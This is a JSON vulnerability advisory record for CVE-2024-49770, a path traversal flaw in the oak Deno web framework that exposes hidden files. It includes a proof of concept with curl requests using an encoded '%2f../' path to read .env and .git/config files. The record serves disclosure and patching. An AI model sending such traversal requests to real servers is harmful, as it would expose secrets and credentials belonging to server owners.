{"id":"CVE-2024-49770","aliases":["GHSA-qm92-93fv-vh7m"],"url":"https://o3.security/vulnerability/CVE-2024-49770","summary":"oak's path traversal allows transfer of hidden files within the served root directory","details":"### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) => {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops > root/.env\necho oops >  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n","published":"2024-11-01T16:16:29.482Z","modified":"2026-08-12T03:51:37.670267183Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@oakserver/oak","fixedVersion":null}],"fix":{"url":"https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209","label":"oakserver/oak@4b2f27e"},"references":[{"type":"WEB","url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/49xxx/CVE-2024-49770.json"},{"type":"ADVISORY","url":"https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49770"},{"type":"FIX","url":"https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"},{"type":"PACKAGE","url":"https://github.com/oakserver/oak"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.670267183Z"}}